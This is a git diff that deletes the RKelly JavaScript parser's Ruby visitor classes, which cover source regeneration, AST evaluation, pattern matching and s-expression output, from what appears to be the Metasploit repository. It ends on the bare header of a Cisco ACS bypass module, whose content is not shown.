-        [:NotStrictEqual, '!=='],
-        [:OpAndEqual, '&='],
-        [:OpDivideEqual, '/='],
-        [:OpLShiftEqual, '<<='],
-        [:OpMinusEqual, '-='],
-        [:OpModEqual, '%='],
-        [:OpMultiplyEqual, '*='],
-        [:OpOrEqual, '|='],
-        [:OpPlusEqual, '+='],
-        [:OpRShiftEqual, '>>='],
-        [:OpURShiftEqual, '>>>='],
-        [:OpXOrEqual, '^='],
-        [:RightShift, '>>'],
-        [:StrictEqual, '==='],
-        [:Subtract, '-'],
-        [:UnsignedRightShift, '>>>'],
-      ].each do |name,op|
-        define_method(:"visit_#{name}Node") do |o|
-          "#{o.left.accept(self)} #{op} #{o.value.accept(self)}"
-        end
-      end
-
-      def visit_WhileNode(o)
-        "while(#{o.left.accept(self)}) #{o.value.accept(self)}"
-      end
-
-      def visit_SwitchNode(o)
-        "switch(#{o.left.accept(self)}) #{o.value.accept(self)}"
-      end
-
-      def visit_CaseBlockNode(o)
-        @indent += 1
-        "{\n" + (o.value ? o.value.map { |x| x.accept(self) }.join('') : '') +
-          "#{@indent -=1; indent}}"
-      end
-
-      def visit_CaseClauseNode(o)
-        if o.left
-            case_code = "#{indent}case #{o.left.accept(self)}:\n"
-        else
-            case_code = "#{indent}default:\n"
-        end
-        @indent += 1
-        case_code += "#{o.value.accept(self)}\n"
-        @indent -= 1
-        case_code
-      end
-
-      def visit_DoWhileNode(o)
-        "do #{o.left.accept(self)} while(#{o.value.accept(self)});"
-      end
-
-      def visit_WithNode(o)
-        "with(#{o.left.accept(self)}) #{o.value.accept(self)}"
-      end
-
-      def visit_LabelNode(o)
-        "#{o.name}: #{o.value.accept(self)}"
-      end
-
-      def visit_ObjectLiteralNode(o)
-        @indent += 1
-        lit = "{" + (o.value.length > 0 ? "\n" : ' ') +
-          o.value.map { |x| "#{indent}#{x.accept(self)}" }.join(",\n") +
-          (o.value.length > 0 ? "\n" : '') + '}'
-        @indent -= 1
-        lit
-      end
-
-      def visit_PropertyNode(o)
-        "#{o.name}: #{o.value.accept(self)}"
-      end
-
-      def visit_GetterPropertyNode(o)
-        "get #{o.name}#{o.value.accept(self)}"
-      end
-
-      def visit_SetterPropertyNode(o)
-        "set #{o.name}#{o.value.accept(self)}"
-      end
-
-      def visit_FunctionExprNode(o)
-        "#{o.value}(#{o.arguments.map { |x| x.accept(self) }.join(', ')}) " +
-          "#{o.function_body.accept(self)}"
-      end
-
-      def visit_CommaNode(o)
-        "#{o.left.accept(self)}, #{o.value.accept(self)}"
-      end
-
-      def visit_IfNode(o)
-        "if(#{o.conditions.accept(self)}) #{o.value.accept(self)}" +
-          (o.else ? " else #{o.else.accept(self)}" : '')
-      end
-
-      def visit_ConditionalNode(o)
-        "#{o.conditions.accept(self)} ? #{o.value.accept(self)} : " +
-          "#{o.else.accept(self)}"
-      end
-
-      def visit_ForInNode(o)
-        "for(#{o.left.accept(self)} in #{o.right.accept(self)}) " +
-          "#{o.value.accept(self)}"
-      end
-
-      def visit_TryNode(o)
-        "try #{o.value.accept(self)}" +
-          (o.catch_block ? " catch(#{o.catch_var}) #{o.catch_block.accept(self)}" : '') +
-          (o.finally_block ? " finally #{o.finally_block.accept(self)}" : '')
-      end
-
-      def visit_BracketAccessorNode(o)
-        "#{o.value.accept(self)}[#{o.accessor.accept(self)}]"
-      end
-
-      def visit_NewExprNode(o)
-        "new #{o.value.accept(self)}(#{o.arguments.accept(self)})"
-      end
-
-      private
-      def indent; ' ' * @indent * 2; end
-    end
-  end
-end
diff --git a/lib/rkelly/visitors/enumerable_visitor.rb b/lib/rkelly/visitors/enumerable_visitor.rb
deleted file mode 100644
index 60aec2d798..0000000000
--- a/lib/rkelly/visitors/enumerable_visitor.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-module RKelly
-  module Visitors
-    class EnumerableVisitor < Visitor
-      def initialize(block)
-        @block = block
-      end
-
-      ALL_NODES.each do |type|
-        eval <<-RUBY
-          def visit_#{type}Node(o)
-            @block[o]
-            super
-          end
-        RUBY
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/visitors/evaluation_visitor.rb b/lib/rkelly/visitors/evaluation_visitor.rb
deleted file mode 100644
index 3353a6531b..0000000000
--- a/lib/rkelly/visitors/evaluation_visitor.rb
+++ /dev/null
@@ -1,420 +0,0 @@
-# -*- coding: binary -*-
-module RKelly
-  module Visitors
-    class EvaluationVisitor < Visitor
-      attr_reader :scope_chain
-      def initialize(scope)
-        super()
-        @scope_chain = scope
-        @operand = []
-      end
-
-      def visit_SourceElementsNode(o)
-        o.value.each { |x|
-          next if scope_chain.returned?
-          x.accept(self)
-        }
-      end
-
-      def visit_FunctionDeclNode(o)
-      end
-
-      def visit_VarStatementNode(o)
-        o.value.each { |x| x.accept(self) }
-      end
-
-      def visit_VarDeclNode(o)
-        @operand << o.name
-        o.value.accept(self) if o.value
-        @operand.pop
-      end
-
-      def visit_IfNode(o)
-        truthiness = o.conditions.accept(self)
-        if truthiness.value && truthiness.value != 0
-          o.value.accept(self)
-        else
-          o.else && o.else.accept(self)
-        end
-      end
-
-      def visit_ResolveNode(o)
-        scope_chain[o.value]
-      end
-
-      def visit_ThisNode(o)
-        scope_chain.this
-      end
-
-      def visit_ExpressionStatementNode(o)
-        o.value.accept(self)
-      end
-
-      def visit_AddNode(o)
-        left  = to_primitive(o.left.accept(self), 'Number')
-        right = to_primitive(o.value.accept(self), 'Number')
-
-        if left.value.is_a?(::String) || right.value.is_a?(::String)
-          RKelly::JS::Property.new(:add,
-            "#{left.value}#{right.value}"
-          )
-        else
-          additive_operator(:+, left, right)
-        end
-      end
-
-      def visit_SubtractNode(o)
-        RKelly::JS::Property.new(:subtract,
-          o.left.accept(self).value - o.value.accept(self).value
-        )
-      end
-
-      def visit_MultiplyNode(o)
-        left = to_number(o.left.accept(self)).value
-        right = to_number(o.value.accept(self)).value
-        return_val = 
-          if [left, right].any? { |x| x.respond_to?(:nan?) && x.nan? }
-            RKelly::JS::NaN.new
-          else
-            [left, right].any? { |x|
-              x.respond_to?(:intinite?) && x.infinite?
-            } && [left, right].any? { |x| x == 0
-            } ? RKelly::JS::NaN.new : left * right
-          end
-        RKelly::JS::Property.new(:multiple, return_val)
-      end
-
-      def visit_DivideNode(o)
-        left = to_number(o.left.accept(self)).value
-        right = to_number(o.value.accept(self)).value
-        return_val = 
-          if [left, right].any? { |x|
-            x.respond_to?(:nan?) && x.nan? ||
-            x.respond_to?(:intinite?) && x.infinite?
-          }
-            RKelly::JS::NaN.new
-          elsif [left, right].all? { |x| x == 0 }
-            RKelly::JS::NaN.new
-          elsif right == 0
-            left * (right.eql?(0) ? (1.0/0.0) : (-1.0/0.0))
-          else
-            left / right
-          end
-        RKelly::JS::Property.new(:divide, return_val)
-      end
-
-      def visit_ModulusNode(o)
-        left = to_number(o.left.accept(self)).value
-        right = to_number(o.value.accept(self)).value
-        return_val = 
-          if [left, right].any? { |x| x.respond_to?(:nan?) && x.nan? }
-            RKelly::JS::NaN.new
-          elsif [left, right].all? { |x| x.respond_to?(:infinite?) && x.infinite? }
-            RKelly::JS::NaN.new
-          elsif right == 0
-            RKelly::JS::NaN.new
-          elsif left.respond_to?(:infinite?) && left.infinite?
-            RKelly::JS::NaN.new
-          elsif right.respond_to?(:infinite?) && right.infinite?
-            left
-          else
-            left % right
-          end
-        RKelly::JS::Property.new(:divide, return_val)
-      end
-
-      def visit_OpEqualNode(o)
-        left = o.left.accept(self)
-        right = o.value.accept(self)
-        left.value = right.value
-        left.function = right.function
-        left
-      end
-
-      def visit_OpPlusEqualNode(o)
-        o.left.accept(self).value += o.value.accept(self).value
-      end
-
-      def visit_AssignExprNode(o)
-        scope_chain[@operand.last] = o.value.accept(self)
-      end
-
-      def visit_NumberNode(o)
-        RKelly::JS::Property.new(o.value, o.value)
-      end
-
-      def visit_VoidNode(o)
-        o.value.accept(self)
-        RKelly::JS::Property.new(:undefined, :undefined)
-      end
-
-      def visit_NullNode(o)
-        RKelly::JS::Property.new(nil, nil)
-      end
-
-      def visit_TrueNode(o)
-        RKelly::JS::Property.new(true, true)
-      end
-
-      def visit_FalseNode(o)
-        RKelly::JS::Property.new(false, false)
-      end
-
-      def visit_StringNode(o)
-        RKelly::JS::Property.new(:string,
-          o.value.gsub(/\A['"]/, '').gsub(/['"]$/, '')
-        )
-      end
-
-      def visit_FunctionCallNode(o)
-        left      = o.value.accept(self)
-        arguments = o.arguments.accept(self)
-        call_function(left, arguments)
-      end
-
-      def visit_NewExprNode(o)
-        visit_FunctionCallNode(o)
-      end
-
-      def visit_DotAccessorNode(o)
-        left = o.value.accept(self)
-        right = left.value[o.accessor]
-        right.binder = left.value
-        right
-      end
-
-      def visit_EqualNode(o)
-        left = o.left.accept(self)
-        right = o.value.accept(self)
-
-        RKelly::JS::Property.new(:equal_node, left.value == right.value)
-      end
-
-      def visit_BlockNode(o)
-        o.value.accept(self)
-      end
-
-      def visit_FunctionBodyNode(o)
-        o.value.accept(self)
-        scope_chain.return
-      end
-
-      def visit_ReturnNode(o)
-        scope_chain.return = o.value.accept(self)
-      end
-
-      def visit_BitwiseNotNode(o)
-        orig = o.value.accept(self)
-        number = to_int_32(orig)
-        RKelly::JS::Property.new(nil, ~number.value)
-      end
-
-      def visit_PostfixNode(o)
-        orig = o.operand.accept(self)
-        number = to_number(orig)
-        case o.value
-        when '++'
-          orig.value = number.value + 1
-        when '--'
-          orig.value = number.value - 1
-        end
-        number
-      end
-
-      def visit_PrefixNode(o)
-        orig = o.operand.accept(self)
-        number = to_number(orig)
-        case o.value
-        when '++'
-          orig.value = number.value + 1
-        when '--'
-          orig.value = number.value - 1
-        end
-        orig
-      end
-
-      def visit_LogicalNotNode(o)
-        bool = to_boolean(o.value.accept(self))
-        bool.value = !bool.value
-        bool
-      end
-
-      def visit_ArgumentsNode(o)
-        o.value.map { |x| x.accept(self) }
-      end
-
-      def visit_TypeOfNode(o)
-        val = o.value.accept(self)
-        return RKelly::JS::Property.new(:string, 'object') if val.value.nil?
-
-        case val.value
-        when String
-          RKelly::JS::Property.new(:string, 'string')
-        when Numeric
-          RKelly::JS::Property.new(:string, 'number')
-        when true
-          RKelly::JS::Property.new(:string, 'boolean')
-        when false
-          RKelly::JS::Property.new(:string, 'boolean')
-        when :undefined
-          RKelly::JS::Property.new(:string, 'undefined')
-        else
-          RKelly::JS::Property.new(:object, 'object')
-        end
-      end
-
-      def visit_UnaryPlusNode(o)
-        orig = o.value.accept(self)
-        to_number(orig)
-      end
-
-      def visit_UnaryMinusNode(o)
-        orig = o.value.accept(self)
-        v = to_number(orig)
-        v.value = v.value == 0 ? -0.0 : 0 - v.value
-        v
-      end
-
-      %w{
-        ArrayNode BitAndNode BitOrNode
-        BitXOrNode BracketAccessorNode BreakNode
-        CaseBlockNode CaseClauseNode CommaNode ConditionalNode
-        ConstStatementNode ContinueNode DeleteNode
-        DoWhileNode ElementNode EmptyStatementNode
-        ForInNode ForNode
-        FunctionExprNode GetterPropertyNode GreaterNode GreaterOrEqualNode
-        InNode InstanceOfNode LabelNode LeftShiftNode LessNode
-        LessOrEqualNode LogicalAndNode LogicalOrNode
-        NotEqualNode NotStrictEqualNode
-        ObjectLiteralNode OpAndEqualNode OpDivideEqualNode
-        OpLShiftEqualNode OpMinusEqualNode OpModEqualNode
-        OpMultiplyEqualNode OpOrEqualNode OpRShiftEqualNode
-        OpURShiftEqualNode OpXOrEqualNode ParameterNode
-        PropertyNode RegexpNode RightShiftNode
-        SetterPropertyNode StrictEqualNode
-        SwitchNode ThrowNode TryNode
-        UnsignedRightShiftNode
-        WhileNode WithNode
-      }.each do |type|
-        define_method(:"visit_#{type}") do |o|
-          raise "#{type} not defined"
-        end
-      end
-
-      private
-      def to_number(object)
-        return RKelly::JS::Property.new('0', 0) unless object.value
-
-        return_val =
-          case object.value
-          when :undefined
-            RKelly::JS::NaN.new
-          when false
-            0
-          when true
-            1
-          when Numeric
-            object.value
-          when ::String
-            s = object.value.gsub(/(\A[\s\xB\xA0]*|[\s\xB\xA0]*\Z)/n, '')
-            if s.length == 0
-              0
-            else
-              case s
-              when /^([+-])?Infinity/
-                $1 == '-' ? -1.0/0.0 : 1.0/0.0
-              when /\A[-+]?\d+\.\d*(?:[eE][-+]?\d+)?$|\A[-+]?\d+(?:\.\d*)?[eE][-+]?\d+$|\A[-+]?\.\d+(?:[eE][-+]?\d+)?$/, /\A[-+]?0[xX][\da-fA-F]+$|\A[+-]?0[0-7]*$|\A[+-]?\d+$/
-                s.gsub!(/\.(\D)/, '.0\1') if s =~ /\.\w/
-                s.gsub!(/\.$/, '.0') if s =~ /\.$/
-                s.gsub!(/^\./, '0.') if s =~ /^\./
-                s.gsub!(/^([+-])\./, '\10.') if s =~ /^[+-]\./
-                s = s.gsub(/^[0]*/, '') if /^0[1-9]+$/.match(s)
-                eval(s)
-              else
-                RKelly::JS::NaN.new
-              end
-            end
-          when RKelly::JS::Base
-            return to_number(to_primitive(object, 'Number'))
-          end
-        RKelly::JS::Property.new(nil, return_val)
-      end
-
-      def to_boolean(object)
-        return RKelly::JS::Property.new(false, false) unless object.value
-        value = object.value
-        boolean =
-          case value
-          when :undefined
-            false
-          when true
-            true
-          when Numeric
-            value == 0 || value.respond_to?(:nan?) && value.nan? ? false : true
-          when ::String
-            value.length == 0 ? false : true
-          when RKelly::JS::Base
-            true
-          else
-            raise
-          end
-        RKelly::JS::Property.new(boolean, boolean)
-      end
-
-      def to_int_32(object)
-        number = to_number(object)
-        value = number.value
-        return number if value == 0
-        if value.respond_to?(:nan?) && (value.nan? || value.infinite?)
-          RKelly::JS::Property.new(nil, 0)
-        end
-        value = ((value < 0 ? -1 : 1) * value.abs.floor) % (2 ** 32)
-        if value >= 2 ** 31
-          RKelly::JS::Property.new(nil, value - (2 ** 32))
-        else
-          RKelly::JS::Property.new(nil, value)
-        end
-      end
-
-      def to_primitive(object, preferred_type = nil)
-        return object unless object.value
-        case object.value
-        when false, true, :undefined, ::String, Numeric
-          RKelly::JS::Property.new(nil, object.value)
-        when RKelly::JS::Base
-          call_function(object.value.default_value(preferred_type))
-        end
-      end
-
-      def additive_operator(operator, left, right)
-        left, right = to_number(left).value, to_number(right).value
-
-        left = left.respond_to?(:nan?) && left.nan? ? 0.0/0.0 : left
-        right = right.respond_to?(:nan?) && right.nan? ? 0.0/0.0 : right
-
-        result = left.send(operator, right)
-        result = result.respond_to?(:nan?) && result.nan? ? JS::NaN.new : result
-
-        RKelly::JS::Property.new(operator, result)
-      end
-
-      def call_function(property, arguments = [])
-        function  = property.function || property.value
-        case function
-        when RKelly::JS::Function
-          scope_chain.new_scope { |chain|
-            function.js_call(chain, *arguments)
-          }
-        when UnboundMethod
-          RKelly::JS::Property.new(:ruby,
-            function.bind(property.binder).call(*(arguments.map { |x| x.value}))
-          )
-        else
-          RKelly::JS::Property.new(:ruby,
-            function.call(*(arguments.map { |x| x.value }))
-          )
-        end
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/visitors/function_visitor.rb b/lib/rkelly/visitors/function_visitor.rb
deleted file mode 100644
index 1e9caf675c..0000000000
--- a/lib/rkelly/visitors/function_visitor.rb
+++ /dev/null
@@ -1,46 +0,0 @@
-module RKelly
-  module Visitors
-    class FunctionVisitor < Visitor
-      attr_reader :scope_chain
-      def initialize(scope)
-        super()
-        @scope_chain = scope
-      end
-
-      def visit_SourceElementsNode(o)
-        o.value.each { |x| x.accept(self) }
-      end
-
-      def visit_FunctionDeclNode(o)
-        if o.value
-          scope_chain[o.value].value = RKelly::JS::Function.new(o.function_body, o.arguments)
-        end
-      end
-
-      %w{
-        AddNode ArgumentsNode ArrayNode AssignExprNode BitAndNode BitOrNode
-        BitXOrNode BitwiseNotNode BlockNode BracketAccessorNode BreakNode
-        CaseBlockNode CaseClauseNode CommaNode ConditionalNode
-        ConstStatementNode ContinueNode DeleteNode DivideNode
-        DoWhileNode DotAccessorNode ElementNode EmptyStatementNode EqualNode
-        ExpressionStatementNode FalseNode ForInNode ForNode FunctionBodyNode
-        FunctionExprNode GetterPropertyNode GreaterNode GreaterOrEqualNode
-        IfNode InNode InstanceOfNode LabelNode LeftShiftNode LessNode
-        LessOrEqualNode LogicalAndNode LogicalNotNode LogicalOrNode ModulusNode
-        MultiplyNode NewExprNode NotEqualNode NotStrictEqualNode NullNode
-        NumberNode ObjectLiteralNode OpAndEqualNode OpDivideEqualNode
-        OpEqualNode OpLShiftEqualNode OpMinusEqualNode OpModEqualNode
-        OpMultiplyEqualNode OpOrEqualNode OpPlusEqualNode OpRShiftEqualNode
-        OpURShiftEqualNode OpXOrEqualNode ParameterNode PostfixNode PrefixNode
-        PropertyNode RegexpNode ResolveNode ReturnNode RightShiftNode
-        SetterPropertyNode StrictEqualNode StringNode
-        SubtractNode SwitchNode ThisNode ThrowNode TrueNode TryNode TypeOfNode
-        UnaryMinusNode UnaryPlusNode UnsignedRightShiftNode VarDeclNode
-        VarStatementNode VoidNode WhileNode WithNode
-      }.each do |type|
-        define_method(:"visit_#{type}") do |o|
-        end
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/visitors/pointcut_visitor.rb b/lib/rkelly/visitors/pointcut_visitor.rb
deleted file mode 100644
index 0df6ba1d0b..0000000000
--- a/lib/rkelly/visitors/pointcut_visitor.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-module RKelly
-  module Visitors
-    class PointcutVisitor < Visitor
-      attr_reader :matches
-      def initialize(pattern, matches = [])
-        @pattern  = pattern
-        @matches  = matches
-      end
-
-      def >(pattern)
-        pattern =
-          case pattern
-          when Class
-            pattern.new(Object)
-          else
-            pattern
-          end
-        self.class.new(nil, @matches.map do |m|
-          m.pointcut(pattern).matches
-        end.flatten)
-      end
-
-      ALL_NODES.each do |type|
-        define_method(:"visit_#{type}Node") do |o|
-          @matches << o if @pattern === o
-          super(o)
-        end
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/visitors/real_sexp_visitor.rb b/lib/rkelly/visitors/real_sexp_visitor.rb
deleted file mode 100644
index 25fda08dd7..0000000000
--- a/lib/rkelly/visitors/real_sexp_visitor.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-module RKelly
-  module Visitors
-    class RealSexpVisitor < Visitor
-      ALL_NODES.each do |type|
-        eval <<-RUBY
-          def visit_#{type}Node(o)
-            sexp = s(:#{type.scan(/[A-Z][a-z]+/).join('_').downcase}, *super(o))
-            sexp.line = o.line if o.line
-            sexp.file = o.filename
-            sexp
-          end
-        RUBY
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/visitors/sexp_visitor.rb b/lib/rkelly/visitors/sexp_visitor.rb
deleted file mode 100644
index 1cde91a109..0000000000
--- a/lib/rkelly/visitors/sexp_visitor.rb
+++ /dev/null
@@ -1,373 +0,0 @@
-module RKelly
-  module Visitors
-    class SexpVisitor < Visitor
-      def visit_NumberNode(o)
-        [:lit, o.value]
-      end
-
-      def visit_RegexpNode(o)
-        [:lit, o.value]
-      end
-
-      def visit_AssignExprNode(o)
-        [:assign, super]
-      end
-
-      def visit_VarDeclNode(o)
-        [ o.constant? ? :const_decl : :var_decl ] + super(o)
-      end
-
-      def visit_VarStatementNode(o)
-        [:var, super]
-      end
-
-      def visit_PostfixNode(o)
-        [:postfix, super, o.value]
-      end
-
-      def visit_PrefixNode(o)
-        [:prefix, super, o.value]
-      end
-
-      def visit_DeleteNode(o)
-        [:delete, super]
-      end
-
-      def visit_VoidNode(o)
-        [:void, super]
-      end
-
-      def visit_TypeOfNode(o)
-        [:typeof, super]
-      end
-
-      def visit_UnaryPlusNode(o)
-        [:u_plus, super]
-      end
-
-      def visit_UnaryMinusNode(o)
-        [:u_minus, super]
-      end
-
-      def visit_BitwiseNotNode(o)
-        [:bitwise_not, super]
-      end
-
-      def visit_LogicalNotNode(o)
-        [:not, super]
-      end
-
-      def visit_ConstStatementNode(o)
-        [:const, super]
-      end
-
-      def visit_MultiplyNode(o)
-        [:multiply, *super]
-      end
-
-      def visit_DivideNode(o)
-        [:divide, *super]
-      end
-
-      def visit_ModulusNode(o)
-        [:modulus, *super]
-      end
-
-      def visit_AddNode(o)
-        [:add, *super]
-      end
-
-      def visit_LeftShiftNode(o)
-        [:lshift, *super]
-      end
-
-      def visit_RightShiftNode(o)
-        [:rshift, *super]
-      end
-
-      def visit_UnsignedRightShiftNode(o)
-        [:urshift, *super]
-      end
-
-      def visit_SubtractNode(o)
-        [:subtract, *super]
-      end
-
-      def visit_LessNode(o)
-        [:less, *super]
-      end
-
-      def visit_GreaterNode(o)
-        [:greater, *super]
-      end
-
-      def visit_LessOrEqualNode(o)
-        [:less_or_equal, *super]
-      end
-
-      def visit_GreaterOrEqualNode(o)
-        [:greater_or_equal, *super]
-      end
-
-      def visit_InstanceOfNode(o)
-        [:instance_of, *super]
-      end
-
-      def visit_EqualNode(o)
-        [:equal, *super]
-      end
-
-      def visit_NotEqualNode(o)
-        [:not_equal, *super]
-      end
-
-      def visit_StrictEqualNode(o)
-        [:strict_equal, *super]
-      end
-
-      def visit_NotStrictEqualNode(o)
-        [:not_strict_equal, *super]
-      end
-
-      def visit_BitAndNode(o)
-        [:bit_and, *super]
-      end
-
-      def visit_BitOrNode(o)
-        [:bit_or, *super]
-      end
-
-      def visit_BitXOrNode(o)
-        [:bit_xor, *super]
-      end
-
-      def visit_LogicalAndNode(o)
-        [:and, *super]
-      end
-
-      def visit_LogicalOrNode(o)
-        [:or, *super]
-      end
-
-      def visit_InNode(o)
-        [:in, *super]
-      end
-
-      def visit_DoWhileNode(o)
-        [:do_while, *super]
-      end
-
-      def visit_WhileNode(o)
-        [:while, *super]
-      end
-
-      def visit_WithNode(o)
-        [:with, *super]
-      end
-
-      def visit_CaseClauseNode(o)
-        [:case, *super]
-      end
-
-      def visit_CaseBlockNode(o)
-        [:case_block, super]
-      end
-
-      def visit_SwitchNode(o)
-        [:switch, *super]
-      end
-
-      def visit_ForNode(o)
-        [ :for, *super]
-      end
-
-      def visit_BlockNode(o)
-        [:block, super]
-      end
-
-      def visit_IfNode(o)
-        [:if, *super].compact
-      end
-
-      def visit_ConditionalNode(o)
-        [:conditional, *super]
-      end
-
-      def visit_ForInNode(o)
-        [ :for_in, *super]
-      end
-
-      def visit_TryNode(o)
-        [ :try, *super]
-      end
-
-      def visit_EmptyStatementNode(o)
-        [:empty]
-      end
-
-      def visit_FunctionBodyNode(o)
-        [:func_body, super]
-      end
-
-      def visit_ResolveNode(o)
-        [:resolve, o.value]
-      end
-
-      def visit_BracketAccessorNode(o)
-        [:bracket_access, *super]
-      end
-
-      def visit_NewExprNode(o)
-        [:new_expr, *super]
-      end
-
-      def visit_ParameterNode(o)
-        [:param, o.value]
-      end
-
-      def visit_BreakNode(o)
-        [:break, o.value].compact
-      end
-
-      def visit_ContinueNode(o)
-        [:continue, o.value].compact
-      end
-
-      def visit_LabelNode(o)
-        [:label ] + super
-      end
-
-      def visit_ThrowNode(o)
-        [:throw, super]
-      end
-
-      def visit_ObjectLiteralNode(o)
-        [:object, super]
-      end
-
-      def visit_PropertyNode(o)
-        [ :property ] + super
-      end
-
-      def visit_GetterPropertyNode(o)
-        [ :getter ] + super
-      end
-
-      def visit_SetterPropertyNode(o)
-        [ :setter ] + super
-      end
-
-      def visit_ElementNode(o)
-        [:element, super ]
-      end
-
-      def visit_ExpressionStatementNode(o)
-        [:expression, super ]
-      end
-
-      def visit_OpEqualNode(o)
-        [:op_equal, *super ]
-      end
-
-      def visit_OpPlusEqualNode(o)
-        [:op_plus_equal, *super ]
-      end
-
-      def visit_OpMinusEqualNode(o)
-        [:op_minus_equal, *super ]
-      end
-
-      def visit_OpMultiplyEqualNode(o)
-        [:op_multiply_equal, *super ]
-      end
-
-      def visit_OpDivideEqualNode(o)
-        [:op_divide_equal, *super]
-      end
-
-      def visit_OpLShiftEqualNode(o)
-        [:op_lshift_equal, *super ]
-      end
-
-      def visit_OpRShiftEqualNode(o)
-        [:op_rshift_equal, *super ]
-      end
-
-      def visit_OpURShiftEqualNode(o)
-        [:op_urshift_equal, *super ]
-      end
-
-      def visit_OpAndEqualNode(o)
-        [:op_and_equal, *super ]
-      end
-
-      def visit_OpXOrEqualNode(o)
-        [:op_xor_equal, *super ]
-      end
-
-      def visit_OpOrEqualNode(o)
-        [:op_or_equal, *super ]
-      end
-
-      def visit_OpModEqualNode(o)
-        [:op_mod_equal, *super]
-      end
-
-      def visit_CommaNode(o)
-        [:comma, *super]
-      end
-
-      def visit_FunctionCallNode(o)
-        [:function_call, *super]
-      end
-
-      def visit_ArrayNode(o)
-        [:array, super]
-      end
-
-      def visit_ThisNode(o)
-        [:this]
-      end
-
-      def visit_ReturnNode(o)
-        o.value ? [:return, super] : [:return]
-      end
-
-      def visit_FunctionExprNode(o)
-        [ :func_expr, *super]
-      end
-
-      def visit_FunctionDeclNode(o)
-        [ :func_decl, *super]
-      end
-
-      def visit_ArgumentsNode(o)
-        [:args, super]
-      end
-
-      def visit_DotAccessorNode(o)
-        [:dot_access,
-          super,
-          o.accessor
-        ]
-      end
-
-      def visit_NullNode(o)
-        [:nil]
-      end
-      
-      def visit_StringNode(o)
-        [:str, o.value]
-      end
-
-      def visit_FalseNode(o)
-        [:false]
-      end
-
-      def visit_TrueNode(o)
-        [:true]
-      end
-
-    end
-  end
-end
diff --git a/lib/rkelly/visitors/visitor.rb b/lib/rkelly/visitors/visitor.rb
deleted file mode 100644
index cb9d66514b..0000000000
--- a/lib/rkelly/visitors/visitor.rb
+++ /dev/null
@@ -1,136 +0,0 @@
-module RKelly
-  module Visitors
-    class Visitor
-      TERMINAL_NODES = %w{
-        Break Continue EmptyStatement False Null Number Parameter Regexp Resolve
-        String This True
-      }
-      SINGLE_VALUE_NODES = %w{
-        Parenthetical AssignExpr BitwiseNot Block Delete Element ExpressionStatement
-        FunctionBody LogicalNot Return Throw TypeOf UnaryMinus UnaryPlus Void
-      }
-      BINARY_NODES = %w{
-        Add BitAnd BitOr BitXOr CaseClause Comma Divide DoWhile Equal Greater
-        GreaterOrEqual In InstanceOf LeftShift Less LessOrEqual LogicalAnd
-        LogicalOr Modulus Multiply NotEqual NotStrictEqual OpAndEqual
-        OpDivideEqual OpEqual OpLShiftEqual OpMinusEqual OpModEqual
-        OpMultiplyEqual OpOrEqual OpPlusEqual OpRShiftEqual OpURShiftEqual
-        OpXOrEqual RightShift StrictEqual Subtract Switch UnsignedRightShift
-        While With
-      }
-      ARRAY_VALUE_NODES = %w{
-        Arguments Array CaseBlock ConstStatement ObjectLiteral SourceElements
-        VarStatement
-      }
-      NAME_VALUE_NODES = %w{
-        Label Property GetterProperty SetterProperty VarDecl
-      }
-      PREFIX_POSTFIX_NODES  = %w{ Postfix Prefix }
-      CONDITIONAL_NODES     = %w{ If Conditional }
-      FUNC_CALL_NODES       = %w{ NewExpr FunctionCall }
-      FUNC_DECL_NODES       = %w{ FunctionExpr FunctionDecl }
-      ALL_NODES = %w{ For ForIn Try BracketAccessor DotAccessor } +
-        TERMINAL_NODES + SINGLE_VALUE_NODES + BINARY_NODES + ARRAY_VALUE_NODES +
-        NAME_VALUE_NODES + PREFIX_POSTFIX_NODES + CONDITIONAL_NODES +
-        FUNC_CALL_NODES + FUNC_DECL_NODES
-
-      def accept(target)
-        target.accept(self)
-      end
-
-      TERMINAL_NODES.each do |type|
-        define_method(:"visit_#{type}Node") { |o| o.value }
-      end
-
-      BINARY_NODES.each do |type|
-        define_method(:"visit_#{type}Node") do |o|
-          [o.left && o.left.accept(self), o.value && o.value.accept(self)]
-        end
-      end
-
-      ARRAY_VALUE_NODES.each do |type|
-        define_method(:"visit_#{type}Node") do |o|
-          o.value && o.value.map { |v| v ? v.accept(self) : nil }
-        end
-      end
-
-      NAME_VALUE_NODES.each do |type|
-        define_method(:"visit_#{type}Node") do |o|
-          [o.name.to_s.to_sym, o.value ? o.value.accept(self) : nil]
-        end
-      end
-
-      SINGLE_VALUE_NODES.each do |type|
-        define_method(:"visit_#{type}Node") do |o|
-          o.value.accept(self) if o.value
-        end
-      end
-
-      PREFIX_POSTFIX_NODES.each do |type|
-        define_method(:"visit_#{type}Node") do |o|
-          o.operand.accept(self)
-        end
-      end
-
-      CONDITIONAL_NODES.each do |type|
-        define_method(:"visit_#{type}Node") do |o|
-          [ o.conditions.accept(self),
-            o.value.accept(self),
-            o.else ? o.else.accept(self) : nil
-          ]
-        end
-      end
-      FUNC_CALL_NODES.each do |type|
-        define_method(:"visit_#{type}Node") do |o|
-          [o.value.accept(self), o.arguments.accept(self)]
-        end
-      end
-      FUNC_DECL_NODES.each do |type|
-        define_method(:"visit_#{type}Node") do |o|
-          [
-            o.value ? o.value : nil,
-            o.arguments.map { |x| x.accept(self) },
-            o.function_body.accept(self)
-          ]
-        end
-      end
-
-      def visit_ForNode(o)
-        [
-          o.init ? o.init.accept(self) : nil,
-          o.test ? o.test.accept(self) : nil,
-          o.counter ? o.counter.accept(self) : nil,
-          o.value.accept(self)
-        ]
-      end
-
-      def visit_ForInNode(o)
-        [
-          o.left.accept(self),
-          o.right.accept(self),
-          o.value.accept(self)
-        ]
-      end
-
-      def visit_TryNode(o)
-        [
-          o.value.accept(self),
-          o.catch_var ? o.catch_var : nil,
-          o.catch_block ? o.catch_block.accept(self) : nil,
-          o.finally_block ? o.finally_block.accept(self) : nil
-        ]
-      end
-
-      def visit_BracketAccessorNode(o)
-        [
-          o.value.accept(self),
-          o.accessor.accept(self)
-        ]
-      end
-
-      def visit_DotAccessorNode(o)
-        o.value.accept(self)
-      end
-    end
-  end
-end
diff --git a/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb b/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb
index e0362290f1..e5f4fa8710 100644
